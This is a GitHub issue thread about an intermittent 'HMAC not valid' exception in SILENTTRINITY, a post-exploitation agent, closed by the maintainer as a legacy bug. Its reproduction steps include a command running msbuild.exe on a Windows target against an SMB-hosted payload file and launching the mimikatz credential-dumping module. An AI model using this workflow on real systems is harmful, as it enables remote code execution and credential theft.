byt3bl33d3r / SILENTTRINITY

An asynchronous, collaborative post-exploitation agent powered by Python and .NET's DLR
GNU General Public License v3.0
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Exception HMAC not valid #61

Closed UglyYellowCat closed 4 years ago

UglyYellowCat commented 5 years ago

Issue Template

Context

Please provide any relevant information about your setup. This is important in case the issue is not reproducible except for under certain conditions.

Expected Behavior

run module ipy/mimikatz without generating an exception

Current Behavior

Launching the build on the Windows target system sometimes generates a 'HMAC not valid' exception. File"/root/SILENTTRINITY/Server/core/crypto.py", line 99, in decrypt raise CryptoException("HMAC not valid") Sometimes it works to create the session and then running the ipy/mimikatz module creates the same exception. Often everything works fine.

Failure Information

After error occurs, module will not run

Steps to Reproduce

Please provide detailed steps for reproducing the issue.

Start Silent Trinity cd SILENTTRINITY/Server/ python3.7 st.py -d Start http Listener listeners use http start

run the following in a command shell \Windows\Microsoft.NET\Framework64\v4.0.30319\msbuild.exe \192.168.88.128\SMB\msbuild.xml

wait for the new session

sessions 
modules
use ipy/mimikatz
run all

Failure Logs

Please include any relevant log snippets or files here. Try using: python3.7 st.py -d to get more information.

byt3bl33d3r commented 4 years ago

Closing since this was a bug in the legacy version, if you see this in the new version feel free to re-open

UglyYellowCat commented 4 years ago

Will check with latest version, thank you.

On Wed, Aug 14, 2019, 3:47 AM byt3bl33d3r notifications@github.com wrote:

Closing since this was a bug in the legacy version, if you see this in the new version feel free to re-open

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